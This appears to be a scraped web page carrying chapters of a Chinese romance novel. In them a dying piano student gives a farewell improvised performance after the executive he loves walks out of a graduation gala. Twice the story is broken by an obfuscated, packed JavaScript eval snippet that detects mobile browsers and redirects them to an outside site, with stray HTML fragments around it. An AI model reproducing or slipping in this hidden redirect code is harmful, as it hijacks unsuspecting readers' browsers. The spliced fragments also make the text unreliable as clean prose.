兰又嘉被她逗笑:“嗯,医生问我原因的时候,我一定不会把你供出来的。” “呸呸呸,乱讲!” 女生见他面色隐约有所好转,微微松了口气,随意闲聊着,希望能让他舒服一些:“反正毕业以后常联系哦,我倒要看看我们俩到底老得快——说真的,好过分,怎么几年下来,你看起来像是我学弟了?一点都不带变的。” “好,学姐。” “喂!”女生失笑,目光从帷幕后侧望出去,瞥过观众席上的某一处时,不禁小声感叹起来,“唉,那位大老板也还是这么帅,而且跟那年一样,依然看得很专心呢,搞得我念台本的时候都有点紧张,你倒是好冷静。” 兰又嘉就诚实地说:“因为我没往台下看。” 站在聚光灯里朝前方望去的时候,其实是看不太清观众席上那一张张模糊的面孔的。 除了离得太近的前几排座位。 兰又嘉只在入场时很快瞥过一眼坐在第一排中央位置的傅呈钧,此后就将视线放空放远,再也没有特意看过那个男人。 因为他要念台本,还要竭力控制自己的神情和姿态,保证不泄露出一丝异样,影响主持的效果。 所以不能再为了傅呈钧分心。 但在这一刻,礼堂的夜晚朦胧鼓噪,四处是灯光,相谈甚欢的搭档躲在帷幕后面,目光亮晶晶地望着观众席,仿佛回到了三年前的冬天晚上。 那个曾为对方心旌摇曳的夜晚。 搭档在耳畔絮语:“你知道吗,他才二十五岁诶,就一步步成了那么大一个集团的总裁,真的好厉害,也不知道等我二十五岁的时候会在做什么……” 那年只有十九岁的兰又嘉听着,就也好奇地瞥过去一眼。 他远远看见了那人的侧影,但没能看清。 直到几分钟后,兰又嘉与身边的女生走进舞台,主持那一年的校庆。 他说完晚上好,念出那些一成不变的开场白,念出一个个今夜到场的重要来宾姓名。 这一刻,在灯光沐浴下光彩夺目的主持人,终于再清晰不过地看见了那个人的模样。 男人有一张俊美薄情的混血面孔,满身生人勿近的冷冽气场,和一双宝石般美丽剔透的灰绿眼眸。 “欢迎JA集团亚太区总裁,即我校荣誉董事,傅呈……” 在千人礼堂里念出对方的名字时,兰又嘉的心头无端泛起一阵奇异的涟漪,话音顿了顿才得以继续:“……呈钧先生。” 于是那个名字被念得格外缱绻,有呼吸般缠绵的停顿与轻颤,连台下神色漠然的男人都抬眸望来。 兰又嘉永远记得那一秒钟,他与舞台下的傅呈钧对视,看着他深邃眸中涌动的情绪,耳畔只剩自己越来越响的心跳声。 对方有着他喜欢的模样,和喜欢的年纪。他独独偏爱这个年纪的男人,连自己也不明白原因。 在那个寒风凛冽的冬夜,有太多无处安放的炽热情愫在兰又嘉心口翻涌,他太想去爱一个人了。 所以,他好像对台下正望着自己的那个陌生男人一见钟情。 再后来,就是一场太过漫长的单方面追逐。 到了三年后,在同样的礼堂,同一个搭档碰了碰他的手臂,小声提醒:“准备一下,马上要入场了哦。” 兰又嘉低声应好,强迫自己压下那抹忽然涌上心头的眩晕感,随她一道走向舞台。 他没有再往目光曾经流连过的那个位置多看过一眼,只是心里漫开几分难以言喻的怅然。 一贯讨厌回溯往昔的傅呈钧,此刻会是什么心情? 在忍耐着厌恶吗? 无论如何,兰又嘉都感激他今夜愿意到场。 即使他尚不知道,这将是彼此共同度过的最后一晚。 他们之间的三年时光从这里开始。 恰好也在同一个地方落幕。 15.15 校领导发言的环节不久后就结束了。 主持人重新入场时,台下立马传出比前一刻更响亮的掌声,刚走下舞台的校长模样温厚,看着这群毫不掩饰差别对待的学生,笑着叹了口气:“你们啊,就盼着我赶紧说完下来。” 附近区域的观众席上顿时爆发出笑声,有学生大声喊:“谢谢校长!我们爱你!” “——但是更爱看学长学姐们的节目!” 全场笑声与掌声雷动,气氛格外欢腾融洽,盖住了光阴飞逝、又有一届学生要离校的感伤。 再度上场的主持人含笑说着串词,目光潋滟地望着观众席的方向,为大家介绍今晚的第一个毕业生节目。 而离舞台最近的第一排座位上,坐在中间最耀眼的那位贵宾,却隐约蹙起了眉。 后方不时飘来今夜情绪高涨的学生们的窃窃私语。 “那两个主持人气质好好啊,是你们学校大四的学生吗?” “对,女生是声乐系的,男生是钢琴系的,专业上都特别厉害,一起搭档主持好几年了。” “哇,是情侣吗?看起来好般配啊。” “不是啦,我记得学姐有男朋友的,学长……学长也有男朋友,唉。” “真的假的?不愧是你们搞艺术的——等等,他在朝这个方向看吗?” 说话的人似乎失神片刻,才找回声音,激动道:“我靠,我刚才跟那个学长对上眼神了!好、好漂亮的眼睛啊,搞得我脑袋都一片空白!” “醒醒,人家谁也没看,台上灯光那么亮,能看得清我们才怪,是镜头刚好路过我们旁边……” 被那双眼睛热烈地注视时,不仅难以忽略这份灿烂,更难以移开自己鬼使神差般回望的目光。 就像三年前那个在转瞬间被点亮的无趣冬夜。 曾经同台上光彩熠熠的主持人真正对视过的傅呈钧,深知这一点。 所以他也异常清晰地察觉到了今晚与那时的区别。 很快,兰又嘉和身旁搭档再次退场,把舞台留给将要表演的节目。 但直到那道身影彻底消失在暗红帷幕之后,他都没有朝第一排中央的座位看过一眼。 他的视线一瞬都不曾在这里停留。 原本平静的心情霎那间被引燃。 傅呈钧压下在心头涌动的那股暴躁感,冷着脸听完了舞台上卖力表演的精彩节目,却丝毫没有入心。 他想,不该是这样的。 傅呈钧对今晚其实没有什么期待,他只是始终无法忘怀那天清晨兰又嘉在自己怀里的轻声恳求,才会改变主意,主动承诺会来。 或许也是因为对这些天里彼此之间频繁出现的矛盾耿耿于怀。 忽然沉默下来的聊天框,与过去有着微妙不同的说话口吻…… 和那个湿漉漉的悲伤微笑。 他仍不清楚究竟是什么东西正在悄无声息地改变。 但傅呈钧很确定的是,他厌恶这种改变。 兰又嘉不应该变成这样。 第一个节目结束,表演者在掌声中鞠躬致谢,帷幕逐渐合拢,后面的工作人员立刻趁这个空隙搬动乐器和道具,为下一个节目做准备。 又轮到主持人上场。 而坐在第一排气场冷冽的贵宾,终于再一次向刚走进舞台的那个年轻男生望去,仿佛想要深深望进那双今夜没了他身影的明媚眼睛。 却看到了一张陌生的脸。 女主持人仍是先前那个,身旁的搭档竟换了人。 不再是兰又嘉。 见状,后方的观众席上也传出难掩惊讶的小声议论。 “怎么换主持了?还是之前那个男生帅。” “是出什么事了吗?” “能出什么事,估计准备节目去了吧,他也是毕业生,等下有钢琴表演的。” “可是兰又嘉的节目在最后一个,要这么早去准备吗?” “不管是什么原因,怎么是姜黎来替他啊,我听说他们俩的关系特别差,基本撕破脸了,好想知道交接话筒的时候有没有打起来……” 四处蔓延的杂音飘荡在空气里,像一场突如其来、叫人措手不及的暴风雨。 有那么一瞬间,傅呈钧几乎想立刻起身离场。 只是理智告诉他晚一点还有兰又嘉的毕业演出,才强忍着烦躁的心情继续坐下。 然而今晚的意外并未结束。 换了搭档的女主持人依然落落大方,笑容盈面,可光彩很快盖过了身旁的新搭档。 那个叫姜黎的男主持人,没有兰又嘉那份自信从容、游刃有余的魅力,更无法将平平无奇的主持词演绎得令人移不开目光。 他只是中规中规地念着台本,表现不算差,也远远称不上惊艳。 在目光扫过台下观众时,临时顶替救场的姜黎第一时间就注意到了其中最耀眼的那道身影。 人总是会被格外强烈的光芒吸引。 尤其当他察觉到对方好像也正望着自己的时候。 尽管年轻的男生不明缘由,但足够他心生窃喜,频频朝那里看去。 聚光灯下的主持人终于一次又一次、难以自抑地望向台下那个特定的座位。 就像三年前一样。 却不是同一个人。 甚至也不是同一抹天真烂漫,没有半分庸俗追捧的眼神。 即使已过去近一千个日夜,傅呈钧仍清晰记得兰又嘉当众念出自己姓名时,那处细微柔软的停顿。 ——“傅呈……钧。” 旁人只以为是见到名人时的激动难以自持,适时发出带着善意调侃的笑声。 唯有被念到名字的人不这么想。 陌生又动人的气味引诱了他。 整场晚会里,傅呈钧的目光再也没有从那道身影上移开。 他似乎同样没能做到自持。 后来,那个比自己小六岁的青年一直用动人至极的语气喊他呈钧,即使是在闹脾气使性子的时候,语调也总是缠绵。 他一贯讨厌回溯往昔,从不纪念那些早已湮没在时光深处的过去。 但在这一刻,傅呈钧竟发现了一件比沉湎于回忆更令人憎恶的事。 ——毁掉回忆。 在周围人有些哗然的视线中,满身低气压的男人不再忍耐,蓦然间起身离场。 他面无表情地走出礼堂,丝毫没有顾及学校领导茫然无措的反应,以及舞台上那个拙劣仿品瞬间变得难堪的脸色。 礼堂外不是雪花将至的深冬。 而是蝉鸣声声的燥热夏夜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14819462|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切都跟曾经不一样了。 在外面等待的助理立刻迎上来,问他:“傅总,是晚会结束了吗?您要先回家——” “去机场。” 不知道发生了什么的助理,只觉得老板的声音很冷:“订最近一趟航班,飞光海。” 他原本该在白天就离开京珠,前往光海处理手头另一间公司的事务。 甚至更早之前,两天前的那个下午,他明明已经在候机室里等待。 是为了兰又嘉,才一次又一次改变了忙碌的行程。 “好的傅总,我马上联系林秘,您先上车吗?停车场在那边。” 急促冷凝的脚步声在夜晚热闹的校园里回荡。 助理打开了车门,在等待老板上车的那一瞬,他看见平日里总是雷厉风行,从不犹豫停顿的男人,忽然回眸望了一眼身后。 他也本能地跟着望过去。 那里是一片朦胧夜色,远处路灯拉长了学生们经过的身影,没有什么特别的。 “傅总,是不是有什么问题——” “上车。” 同样什么都没能看到的男人俯身坐进车里,眉宇间浮动的郁然戾气令人心惊。 下一秒,车门关上。 豪车很快驶离了校园。 也离往昔越来越远。 三年前的冬夜,同样的地点。 校庆结束后,众星捧月的矜贵客人将要离开,却被一道清澈好听的呼唤拦住了。 “傅先生——!” 刚离场不久的观众当然记得主持人的声音。 于是男人脚步微顿,在身旁的秘书打算制止之前,先回眸望了过去。 他看见那个过分年轻的大学生脚步匆匆地向自己跑过来,发梢落满了昏黄的灯光与月晕。 “什么事?” 他嗓音冷沉,而男孩气喘吁吁地停下步子,无边月色便也随着他留驻在此刻。 那双极漂亮的眼睛里正闪烁着不加掩饰的灿烂倾慕,亮过漫天繁星。 “傅、傅先生,谢谢你愿意给我时间!” 他有些惊喜地道了谢,接着小心翼翼地问:“我刚刚在网上搜索过你的名字,百科里说你是单身……对不起,我想问,这条有没有写错?” 闻言,往日里遥不可及的上位者面色未改,居高临下地注视着他:“你学新闻?” “不,我学钢琴。” 得到答案的人蓦地笑了起来,眸光熠熠发亮:“这周六是平安夜,晚上我在Le Destin有场演出,是学校附近的一家法式餐厅,傅先生,我可以邀请你来听吗?” 不等他回答,男孩再度开口,话音澄净,既羞赧又大胆。 “我弹钢琴很好听,真的,我保证你从来没有听过那样的音乐,你不会失望的。” 面对这份毫无矫饰的直接和热烈,男人似乎错愕片刻,才淡淡地问:“要是失望了呢?” 男孩显然没有预料到他会是这个反应,愣了一下,又忙不迭地同他保证,几乎像是郑重发誓:“那……那我就认真跟你道歉,然后下一次更努力,只要你愿意再来听——我会竭尽全力的。” 而他亦然。 不仅是音乐,还有人。 那一刻的傅呈钧想,他也从未见过这样的人。 16.16 要什么样的音乐,在响起之前就可以笃定保证,听众在此前一定从未耳闻,直到当下才第一次聆听? 是足够优美、新奇,还是太过难听? 无论如何,它必定是难以预料、不可捉摸的…… “姜黎,你的表情能不能好看一点?别搞砸晚会行不行?” 一片忙碌的后台,刚刚退场的女主持人有点头疼地瞪着身旁的新搭档。 被质问的男生冷哼了一声,别开目光,意有所指道:“是我搞砸的吗?” 闻言,女生的表情变了变,忍着满心不愉,低声劝他:“好了,别人肯定是临时有急事要忙,那种大人物怎么可能莫名其妙地针对你,而且都离场多久了,你脸色也该摆够了吧?只剩最后三个节目了,熬过去就……” “行了行了。”姜黎不耐烦地打断她,“知道了。” 听到这种语气,女生也懒得再同他多说,扫了眼舞台上刚开始不久的节目,转身就往休息室的方向走。 姜黎叫住她:“你去干嘛?这节目只有五分钟,一会儿就要上台。” “我去看一下兰又嘉怎么样了,不行的话最后一个节目得取消。”女生头也不回地匆匆应声,“我马上回来。” “有什么好看的,不是说太累了吗?”他嗤笑一声,“偷懒睡觉而已,又死不了——” “姜黎!!” 女生难掩愤怒的呵斥声骤然响起,一旁不明所以的工作人员和学生们静了静,侧目看过来。 在这阵尴尬的寂静里,恰好传来一道金属咔嗒转动的声音。 休息室的门开了。 熟悉的身影映入眼帘,女生顿时面露惊喜:“嘉嘉!你怎么样?好点了吗?” “我没事了。”青年仍有些苍白的面孔上露出一个微笑,“今天真的很抱歉,给你们带来麻烦了,对不起。” “说这些干嘛,你确定没问题了?要不还是听老师的话去医院吧?” 女生快步走近了他,上下打量起来,满脸的后怕:“前面下场的时候你真的快吓死我了,还好你知道下意识伸手抓住我,不然脑袋绝对磕到旁边那个钢架子上,那就出大事了!” 兰又嘉便真心实意地向她道谢:“多亏有你在,我那时候应该是太累了,一瞬间有点晕,现在休息了这么久,已经恢复过来了。” 事实当然不是这样。 是过量服用止痛药引发了眩晕,这是写在药品说明书上的不良反应,可人在痛到极致的时候,哪里还能顾得上那些毫无温度的提醒。 药物比爱可靠,也比爱更冰冷。 “真的吗?”女生总算松了口气,看了眼墙上的时钟,“那你是不是要准备上场了?距离你的节目不到十分钟了。” “嗯,我会按时上场的。” 在旁边听见两人对话的姜黎冷笑一声,似乎在自言自语:“状态不行还逞强,死活要出这个风头,非得在台上当众出丑才满意是不是……” 女生听得柳眉一竖,不等她发作,兰又嘉先开口:“今天谢谢你救场。” 姜黎没想到他会这么说,愣了一下,马上反唇相讥道:“我可不是救你的场,只是在填你的空缺——说起来,我反倒得谢谢你这张乌鸦嘴,咒自己咒得还挺准。” 他提起那天兰又嘉谎称生病耍他的事,言语中毫不遮掩恶意。 今晚言笑晏晏的女主持人此刻已完全沉下脸,只觉得自己不该当着姜黎的面同兰又嘉说话,索性将挑事的人直接拽走:“姜黎你有完没完!别说了,这个节目马上结束,我们要上台了。” 兰又嘉却笑了,好似全然不在意他的讥讽,认真道:“我不会出丑的。” 紧接着,他看着姜黎,平静地说:“但我一直有一个问题想问你。” “姜黎,你为什么这么讨厌我?” 正被女生拽着去候场的年轻男生脚步一顿,身体微微僵硬,似乎又想转身嘲讽他些什么。 然而他最后也没有回头,一声不吭地走掉了。 兰又嘉没能得到答案。 他有点遗憾,不过很快就放下了。 反正只是不重要的人。 今晚他有更重要的事要做。 他要漂亮的、光彩的告别。 在曾经深深爱过的那个人的见证下。 这是最后一段因傅呈钧而诞生的乐曲。 也是对方一贯厌恶的旧日纪念。 片刻之后,一度离场许久的男主持人再次回到了舞台上。 以表演者的身份。 他换下了先前的黑色西装,身上只留一件再简单不过的洁白衬衣,略显宽大,领口处隐约闪过银链的光泽。 在响彻礼堂的欢迎掌声中,模样昳丽的青年向满场观众鞠躬致意,在琴凳前坐下。 空气随之安静下来,舞台中央只余一盏明亮的追光灯,静静地照在钢琴上。 光线轻柔地吻过在黑白琴键上蹁跹的修长手指。 按下第一个音时,兰又嘉冷不丁地想,自己刚才鞠躬的时候,目光扫过了观众席,视网膜上隐约烙有一处空白。 但他来不及深思,随着指间琴音悦然流淌,整个人便瞬间沉浸在了音乐之中,忘了此刻的纷扰。 作为钢琴系的学生,他最擅长的是爵士钢琴。 而爵士的灵魂,是即兴。 所以对听众来说,任何一首即兴发挥、现场创作的乐曲,都是自己迄今为止的人生中初次聆听的音乐。 这是一个带点小聪明的文字游戏。 在故事的最开始,兰又嘉就是凭着这句听来自恋夸张的邀请,成功见到了傅呈钧第二面的。 那是个即将飘雪的平安夜,富有格调的法式餐厅到处装点着红绿相间的松果花环、亮粉闪烁的白色雪花,以及白胡子红帽的圣诞老人贴画。 夜晚的餐厅光线充盈,人影幢幢,与朋友一道在餐厅做兼职演出的大学生坐在钢琴前,不时向门口与窗外张望。 他等了许久,也没有见到那个想等的人,在琴键上跃动的指尖不免染上几分落寞忧伤。 正在配合他旋律的架子鼓手因而抬起了头,默默瞪他一眼。 就在下一秒,餐厅门口的风铃叮铃作响,有人推门进来。 弹钢琴的青年本能地抬眸望去,已经做好了再度失望移开的准备。 可他竟真的看到了一道期待已久的身影。 应邀而来的男人走进餐厅,灰绿眸珠静如深海,目光极淡地凝视着台上乐队里最亮眼的钢琴师。 他穿一身纯黑的毛呢大衣,身材高大颀长,衣角随风轻摆,掀起一缕风雪般的冷香。 原本流淌在餐厅里的淡淡忧伤,几乎瞬间化作了热烈缠绵的雀跃。 刚刚才调整好节奏的架子鼓手牙关一紧,忍不住又朝钢琴的方向瞪了一眼,以示警告。 于是他瞥见一抹格外灿烂的明媚眸光。 比月色更亮。 三年后的这一晚,正在偌大礼堂里即兴演奏着乐曲的青年,目光仍然很亮。 台下黑压压的观众席格外的静,在这极富感染力的情绪中屏息聆听,仿佛从炎热躁动的夏夜,走进了一个应该期待雪花、礼物、丰盛晚餐的温暖圣诞节。 即兴本不该重复,可兰又嘉却奇异地记得那晚的每一段旋律,指尖轻而易举地将它准确复现。 只是随着时间流逝,同一段旋律渐渐有了变化。 它们走向另一条岔路,被演绎成更悲伤的调子。 台下的傅呈钧会记得这些旋律吗? 他不知道答案,闭上眼睛,任由指尖的乐声将心神融化,思绪飘零纷飞。 即兴的灵感源自脑海深处被珍视的、被忽略的、被铭记的、被遗忘的记忆……还有自己的、他人的、亲身经历的、擦肩而过的点滴…… 一切的一切,于瞬息之间汇聚成不可捉摸的旋律,骤然间响彻天地,模糊了现在、未来,与过去。 这一晚的六点三十五分,兰又嘉正独自蜷缩在后台休息室的沙发里,祈求着止痛药即刻起效。 数米之隔的礼堂外已是人头攒动,本校与外校的学生们三三两两聚在一起,热闹地聊着天。 几个青春洋溢的女大学生凑作堆窃窃私语,目光不时瞥向礼堂门口附近的一道身影。 那是个模样很出挑的男人,戴一副斯文内敛的无框眼镜,气质温文清贵,光是安静地站在那里等待,就有一种风度翩翩的感觉,引得不少人暗暗侧目。 这几个大学生交头接耳了好一会儿,其中脸最红的那个女生总算下定决心,鼓起勇气走向对方。 “请……请问,你是在等人吗?” 被搭讪的男人看了她一眼,并未直接回答,也不显得惊讶,温声问:“同学,有什么事吗?” 女生不禁想,太好了,没有说是在等女朋友。 她勇气更甚,继续大着胆子确认:“那个,我想问,你是老师吗?其他学校的?” “不是。”男人失笑,态度始终温和,“我是医生。” 医生?这么帅的医生…… 她在心里碎碎念着,终于红着脸道明来意:“如果你没有女朋友的话,可不可以给我一个联系方式?” 与此同时,礼堂外的人群里传来一阵不同寻常的喧哗骚动。 人们纷纷回眸望去。 越过人潮,能看到一道气质非凡的冷峻身影,在旁人的陪同下走向礼堂。 女生只看了一眼就收回视线。 她发现那个自己很有好感的陌生男人也在朝那里看,便热心地解释道:“那是我们学校的荣誉校董,其实就是投资人,你可能在新闻上见过他,对了,他旁边是校领导……” 她说话的时候,静默聆听的男人抬手看了一眼腕表。 离晚会正式开始还有将近半个小时,来得很早。 这是珍视的样子。 话音未落,女生看见他好像笑了。 很轻的笑。 紧接着,男人礼貌地同她道别:“抱歉,我还有事,要先走了。” 她愣住:“……诶?你不看晚会了吗?” 陌生人没有回答。 停留在原地的女生呆呆地望见那道背影,逆着人潮消失在茫茫夜色中,了无痕迹。 仿佛从没来过。 七点整,晚会正式开始,入口处仍未彻底静下来。 总有人喜欢踩着点到场。 穿着一身名牌套装的年轻女生脚踩高跟鞋,声响急促而清脆,一边还在打电话。 “知道了知道了,哥你别念了行不行。”她朝手机听筒没好气道,“我保证看完晚会就走,绝对不去找他——满意了吧?不信的话你就自己过来盯着我呗。” 电话那头的人比她更无奈:“你以为我不想来吗?要不是那天我被他同学认成老傅……毕竟今天老傅是真的会去,对了,你也千万别招他了啊,这家伙最近脾气很坏。” 女生就笑起来,晶莹的唇彩在夜色中狡黠地闪烁:“那你更应该来了,冒牌男友和正牌男友同时出现,多好玩。” “喂,小霜你别乱来……” 礼堂已近在咫尺,她毫不犹豫地挂掉电话,放轻脚步走了进去。 在聚光灯下耀眼夺目的那道身影很快落入视野。 她不由自主地驻足,安静聆听。 渐渐地,她有些恍惚地想,原来那个能成功走进冷血工作狂的心里,还能忍耐后者足足三年的人,是这个样子的。 不久后,礼堂某处很容易被忽略的角落,满脸惊奇的女生猫着腰蹲坐在那里,拨出一个电话。 听筒里响起熟悉的男声:“小霜?怎么了?你不是应该在看——” “放心,我什么也没做。”她压低声音说,“是老傅在乱来。” “……什么?” “他中途走人了。” 八点五十四分,晚会已到尾声。 倒数第二个节目刚刚结束,面貌模糊的主持人正在台上啰嗦。 观众席某处,一个留着寸头的男生满脸不耐,偏过脸催促同伴:“走了,没什么意思,我回学校还有事。” 随着他转头的动作,礼堂里昏暗的光线悄然漫过棱角分明的下颌,凝结在耳骨处那枚银色耳钉上,熠熠生辉。 “现在就走?不是吧,我们本来到得就晚,好几个节目都没看到,再等等嘛,万一最后一个节目很精彩呢,错过了多可惜。” “能有什么可惜的,你不走我就先回——” 同一时间,舞台上响起一连串轻而有力的脚步声,由远及近。 光束落在静静矗立的钢琴上。 也照亮了那道光彩夺目的身影。 原本正要起身离开的男生,不由自主地停下了脚步,凝眸驻足。 紧接着,他听见琴声悠然弥漫。 起初是雀跃的、期盼的,仿佛将要迎来一个最浪漫的节日夜晚。 一切都美丽得恰到好处。 直到空中飘起了起初微不可见的细雪。 黑白琴键交织错落,郁然的悲伤一点点浸没了欢欣。 雪越来越大,逐渐覆满夏夜的礼堂。 法式餐厅里的平安夜,就结束在一场漫天飘零的雪花中。 窗外忽然下起了雪,刚好晚餐已经吃得差不多,很多客人结了账就出门去看雪。 弹了整晚钢琴的青年也不能免俗,餐厅老板笑着让乐队提前收工,而他迫不及待地走到那个人身边,绽放出一个灿烂的笑容。 “傅先生,外面下雪了。”他目光亮晶晶地说,“这是一个下雪的平安夜,好难得。” 男人微不可闻地应了一声,并未拒绝他的到来,同样正侧眸看向窗外。 明净清透的玻璃窗畔,泊满了扰乱视线的新雪,片片冰凉。 兰又嘉仿佛受到鼓励,话音愈发絮絮,从外面飘落的雪花,到其实有些好笑的节日习俗,再到今夜灵感满溢的即兴爵士乐。 “你今天吃苹果了吗?我带了两个……不对,国外应该不会流行平安夜吃苹果吧?” “那天我没有说大话,今晚的钢琴曲你肯定没有听过,因为是我现场创作的即兴——对不起,好像是个文字游戏。” “不过,我觉得应该不算难听……傅先生,你没有觉得失望吧?” 第二次见面的青年用天真澄澈的目光紧张地观察着他的反应。 实在令人很难说出冰冷的否定。 “很好听。”傅呈钧平静地说,“让人印象深刻。” “真的吗?那下一次要不要——” 不等他说完关于未来的邀请,男人已淡声打断:“但恐怕你要失望了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14825872|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我……失望?” “我没有和任何人建立感情关系的打算。” 兰又嘉听见对方这样说。 他恍然地眨了眨眼睛,半晌才反应过来,这是一种不留余地的拒绝。 应邀而来的客人在琴声中用过晚餐,也表明了态度,旋即起身,礼节性地道别。 “谢谢你的邀请。”他说,“再见。” 是再也不见的再见。 可就在傅呈钧即将转身离开的那一刻,他听见身后传来那道仍旧清澈动听的声音。 很轻,却也很执着。 “那你需要一个……床、床伴吗?” 闻言,男人始终淡漠的面孔上,终于闪过一缕清晰鲜明的波动。 他诧异道:“你说什么?” “……你听到了的。”语出惊人的青年看他一眼,小声道,“我很健康,可以去做体检,从前也没有跟任何人发生过——” 一贯在商场上无往而不利的男人此时竟有些束手无策,打断他愈发离谱的自白,沉声问:“为什么?” “因为、因为……” 兰又嘉想,这是一个实在有些难以启齿的答案。 可是心理医生说过,应该对亲近的人敞开心扉。 亲近的人,爱的人…… 万一,万一这次,他成功了呢? 所以他踟蹰了一会儿,在对方平静耐心的等待中,渐渐鼓足勇气,无比诚实地回答了这个问题。 “因为,我想知道被爱是什么感觉。” 即使仅仅是在温存时的片刻。 话音落地,窗外的雪仍旧下得纷纷扬扬。 晶莹湿润的雪花模糊了他的眼睛,便没能看清男人在那一刻的神情。 是怜悯吗?还是觉得可笑? 他不想知道。 平安夜结束了,兰又嘉始终没有回应那声再见。 他没有放弃对男人的追逐。 他追到了傅呈钧的公司、公司附近的餐厅、出席活动的场合…… 幸好,对方从来没有不留情面地叫人赶他走,偶尔也会回应他的话。 他因此觉得,那个人虽然看起来很冷,骨子里其实是温柔的。 所以,又过了一段时间,兰又嘉真的拥有了一个很温柔的第一次。 温柔得令他怎么也控制不住眼泪,以至于傅呈钧无奈地停下来问他:“我做得真有这么差?明明事先学过了。” 兰又嘉这才知道,原来对方也是第一次。 这个男人是真的对感情和性没有一点兴趣,和他完全不一样。 这样想着,他更想哭了,又难过又羞愧,一边哭一边道歉。 傅呈钧被他哭得心烦意乱、无可奈何,索性吻他。 不由分说的,充满侵略性的吻。 像爱一样的吻。 可那分明不是爱。 不存在的雪花落满了夏夜的礼堂,有不少听众的眼睛里,都闪烁着静静的泪光。 而兰又嘉总算后知后觉地反应过来,短暂掠过视网膜的那处刺眼空白究竟是什么。 是一个空出来的座位。 傅呈钧早已离开了。 近在咫尺的琴弦哀鸣震颤,空气愈发冷了。 他再也不能骗自己视而不见。 男人没有听到这首一半熟悉一半陌生的即兴钢琴曲。 也没能在场见证他人生中最后一个光彩熠熠的时刻。 但这其实不是傅呈钧的错。 是他的错。 是他自己遗忘了那句傅呈钧早在三年前就说过的,最重要的话。 ——“我没有和任何人建立感情关系的打算。” 被珍视的、被忽略的、被铭记的、被遗忘的…… 记忆的雪花铺天盖地,湮没了每一寸呼吸,令这支起初听起来让人置身温暖冬夜的浪漫乐曲,悄无声息地将人们卷入世界末日前的最后一个圣诞夜,空气中盈满了晶莹剔透的悲伤。 直到最后一个琴音璨然收止。 年轻的钢琴师松开琴键,再度躬身,向满场听众致谢道别。 他眉眼低垂,微笑着说了只有自己能听清的谢谢,藏在心口的戒指项链从衬衣领口滑出来,于灯光下绽开一抹冰冷的幽蓝。 眼泪也是在这一刻掉下来的。 透明的泪水猝然跌落在琴键上,溅起一朵最小的雪花。 短暂寂静后,礼堂里爆发出今夜最热烈轰动的一次掌声。 而他转身离开舞台,再也没有回头。 摄影机镜头里的画面就此定格。 观众席上飘荡着嘈嘈切切的杂音,人们在谈论今夜,谈论那支令人难以忘怀、也无法再重现的即兴乐曲,谈论自己被琴音勾起的记忆…… 其中有个一头齐耳短发的中年女人怔怔地看着舞台,身旁的摄影师掌着镜,刚刚结束录制,意犹未尽地喊她:“戎青,这小孩太适合镜头了,表现力很强,原先那个确实没得比——” 摄影师还没说完,就看到女人终于回过神来,忽然转头,目光灼灼地盯着自己,念出一个仿佛摘自诗篇的美丽句子。 “你记不记得我说过的那个灵感来源?‘他像一首浓烈炽热,却转瞬即逝的情诗’……这个形容是不是很像他?” 她说着,很快自我纠正道:“不,不是像,这就是他。” “这部戏只有他能演!” 下一秒,合作多年的老友目瞪口呆地看着她的背影:“戎青?梅戎青!你去哪儿?等等我!” 梅戎青没有时间回答他。 她一刻也不想多等,毫不犹豫地冲进后台,随便抓住一个人就问:“同学,兰又嘉在哪?” “啊?好像在、在休息室……” 休息室的门被猛地推开,坐在镜子前发呆的青年循声望来。 很快,他下意识起身,从记忆里找到了与这张面孔对应的名字,不太确定地喊她:“……梅导?” “还记得我?那更好,省事了。”梅戎青干脆利落道,“你跟老李提的要求没问题,我答应了,就从那天开始算起,三个月内一定拍完!” 看到青年满脸不加掩饰的意外,她笑起来:“老李后来没给你答复,是不是以为没戏了?其实这段时间我已经在做提前开拍的准备了,只差一个决定下来的契机——今晚就是这个契机。” “不过,在正式确定之前,我还有个问题想问你。” 她面前的年轻人正被这个消息砸得措手不及,本能地应声:“什么?” “为什么你只肯给三个月的时间?” 梅戎青想起初次见面时他的拒绝理由,仍然觉得好笑,一半调侃一半规劝:“谈恋爱就那么重要?” 她能看得出来,今夜从琴声中所见的兰又嘉,的确具备那种会为爱生、为爱死的强烈个性。 可出于私心,她又不希望这颗天生就该为大银幕绽放的耀眼明星,被困在一方小小的爱里,光彩浪费。 人总是这么矛盾。 但出乎意料的是,她看见这个模样比当时更单薄些的青年竟然摇了摇头。 声音很轻:“不重要了。” 他说着,露出一个仿佛精疲力尽的苍白微笑,隐约还带有几分歉意:“这次不是因为要专心谈恋爱。” “是因为我快死了。” 17.17 “你说什么?兰又嘉,什么叫你快死——” “我得了癌症,医生说还能活半年左右,我担心最后会变得虚弱难看,才说只有三个月时间。” “……认真的?是刚查出来?哪种癌?” “一周前确诊的,是胰腺癌,晚期。” 空气便蓦地陷入寂静。 满脸难以置信的女人没能嗅到任何一丝开玩笑的味道,沉默片刻后,忍不住叹了口气:“怪不得你比那次在学校见面时瘦了一点……这是癌王啊。” 这是一种极难治愈、几乎只能祈求奇迹降临的恶性癌症,尤其在晚期阶段。 查出来的那一刻,就等于宣告了死期将近。 而她眼前的青年依然面色沉静,仿佛早已接受自己的命运:“所以,这次我可能还是不能答应你,对不起,是我临时变卦了。” 